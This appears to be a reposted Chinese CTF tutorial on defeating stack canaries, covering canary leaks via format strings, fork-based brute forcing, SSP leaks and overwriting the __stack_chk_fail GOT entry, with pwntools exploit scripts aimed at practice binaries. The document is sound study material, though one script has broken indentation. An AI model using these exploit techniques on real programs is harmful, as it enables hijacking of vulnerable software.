Stack Canary


0x00 canary保護機制

Canary保護機制的原理,是在一個函數入口處從gs(32位)或fs(64位)段內獲取一個隨機值,一般存到eax - 0x4(32位)或rax -0x8(64位)的位置。如果攻擊者利用棧溢出修改到了這個值,導致該值與存入的值不一致,__stack_chk_fail函數將拋出異常並退出程序。Canary最高字節一般是\x00,防止由於其他漏洞產生的Canary泄露

需要注意的是:canary一般最高位是\x00,64位程序的canary大小是8個字節,32位的是4個字節,canary的位置不一定就是與ebp存儲的位置相鄰,具體得看程序的匯編操作

1.程序從gs(32位)或fs(64位)段取出一個4或8節的值,在32位程序上,你可能會看到:

在64位程序上,可能會看到

總之,這個值你不能實現得到或預測,放到棧上以后,eax中的副本也會被清空(xor eax,eax)

2.程序正常的走完了流程,到函數執行完的時候,程序會把canary的值取出來,和之前放在棧上的canary進行比較,如果因為棧溢出什么的原因覆蓋到了canary而導致canary發生了變化則直接終止程序。

在棧中大致是這樣一個畫風:

0x01 泄露canary

通過格式化字符漏洞或者棧溢出漏洞泄露出canary的值,然后在payload里加入canary的值以通過檢查

題目: bin
32位程序,先checksec,后ida分析

printf函數處存在格式化字符串漏洞

read函數存在棧溢出漏洞

我們嘗試利用格式化字符串漏洞,需要計算出canary的偏移量

通過gdb調試,發現canary的偏移量是7,現在需要查找canary的存放位置,用來棧溢出覆蓋

需要覆蓋0x64個字符,現在可以寫exp了:

from pwn import *

io = process('./bin')
io.sendline('%7$x')
canary = int(io.recv(),16)
print canary
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(0x0804863B)
io.sendline(payload)
io.interactive()

0x02 爆破canary

canary之所以被認為是安全的,是因為對其進行爆破成功率太低。以32為例,除去最后一個\x00,其可能值將會是0x100^3=16777216(實際上由於canary的生成規則會小於這個值),64位下的canary值更是遠大於這個數量級。此外,一旦canary爆破失敗,程序就會立即結束,canary值也會再次更新,使得爆破更加困難。但是,由於同一個進程內所有的canary值都是一致的,當程序有多個進程,且子進程內出現了棧溢出時,由於子進程崩潰不會影響到主進程,我們就可以進行爆破。甚至我們可以通過逐位爆破來減少爆破時間,逐位爆破時,如果程序崩潰了就說明這一位不對,如果程序正常就可以接着跑下一位,直到跑出正確的canary。

題目bin1
32位,先checksec再ida

發現fork函數,說明可以進行利用fork爆破canary
32為程序除去末尾的\x00,前面還有3位16進制的數字,當爆破成功以一位canary時,就會輸recv success

from pwn import *

io = process('./bin1')
canary = '\x00'
io.recvuntil('welcome\n')
for i in range(3):
    for i in range(256):
        io.sendline('a'*100 + canary + chr(i))
        a = io.recvuntil('welcome\n')
        if "recv" in a:
            io.recvuntil('welcome\n')
                    canary += chr(i)
                    break
getflag = 0x0804863B
payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
io.sendline(payload)
io.interactive()

0x03 SSP Leak

除了通過各種方法泄露canary之外,我們還有一個可選項——利用__stack_chk_fail函數泄露信息。這種方法作用不大,沒辦法讓我們getshell。但是當我們需要泄露的flag或者其他東西存在於內存中時,我們可能可以使用一個棧溢出漏洞來把它們泄露出來。這個方法叫做SSP(Stack Smashing Protect) Leak.

在開始之前,我們先來回顧一下canary起作用到程序退出的流程。首先,canary被檢測到修改,函數不會經過正常的流程結束棧幀並繼續執行接下來的代碼,而是跳轉到call __stack_chk_fail處,然后對於我們來說,執行完這個函數,程序退出,屏幕上留下一行*** stack smashing detected ***:[XXX] terminated。這里的[XXX]是程序的名字。很顯然,這行字不可能憑空產生,肯定是__stack_chk_fail打印出來的。而且,程序的名字一定是個來自外部的變量(畢竟ELF格式里面可沒有保存程序名)。既然是個來自外部的變量,就有修改的余地。我們看一下__stack_chk_fail的源碼,會發現其實現如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

我們看到__libc_message一行輸出了*** %s ***: %s terminated\n。這里的參數分別是msg和__libc_argv[0]。char *argv[]是main函數的參數,argv[0]存儲的就是程序名,且這個argv[0]就存在於棧上。所以SSP leak的玩法就是通過修改棧上的argv[0]指針,從而讓__stack_chk_fail被觸發后輸出我們想要知道的東西。

ssp攻擊:argv[0]是指向第一個啟動參數字符串的指針,只要我們能夠輸入足夠長的字符串覆蓋掉argv[0],我們就能讓canary保護輸出我們想要地址上的值。
普通方法:計算偏移量,目標覆蓋掉argv[0]

這個我目前沒有完全理解,可以看i春秋的這篇文章,講的很細
https://bbs.ichunqiu.com/thread-44069-1-1.html

暴力方法:棧中全部填充目標地址,總有一個會覆蓋ret的地址

from pwn import *

p = process('./bin2')
flag = 0x400d20
payload = p64(flag)*1000
p.recvuntil("Hello!\nWhat's your name?")
p.sendline(payload)
p.recv()
p.sendline(payload)
p.interactive()

0x04 劫持__stack_chk_fail

當Canary驗證失敗的時候是進入到stack_chk_failed函數中,它在該函數中完成報錯輸出,但是如果我們能夠劫持該函數,讓它不在完成該功能,那么Canary就形同虛設,我們就可以為所欲為棧溢出了。
但需要注意的是:種技術並不是我們一般方式的Hijack GOT表,一般我們HijackGOT是GOT表綁定了真實地址之后,我們修改它,讓程序執行其他的函數。 Got表中要綁定真實地址必須是得執行過一次,然而stack_chk_failed執行第一次的時候程序就報錯退出了,因此我們需要Overwrite的尚未執行過的stack_chk_failed的GOT表項,此時GOT表中應該存貯這stack_chk_failed PLT[1]的地址。

具體思路:劫持stack_chk_fail函數,控制程序流程,也就是說剛開始未棧溢出時,我們先改寫stack_chk_fail的got表指針內容為我們的后門函數地址,之后我們故意制造棧溢出調用stack_chk_fail時,實際就是執行我們的后門函數

題目:bin3(原題是hgame的week2的Steins)
checksec可以看到開啟了NX和canary

ida看到有后門

from pwn import *

p = process('./bin3')
elf = ELF('./bin3')
backdoor = 0x000000000040084E
stack_fail = elf.got['__stack_chk_fail']
payload = 'a'*5 + '%' + str(backdoor & 0xffff - 5) + 'c%8$hn' + p64(stack_fail) + 'a'*100
p.recv()
p.sendline(payload)
p.interactive()

參考資料:
https://xz.aliyun.com/t/4657#toc-0
(推薦看這個,很基礎,,跟詳細,本文的事例來自這篇文章的附件)
https://www.anquanke.com/post/id/177832
https://veritas501.space/2017/04/28/論canary的幾種玩法/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM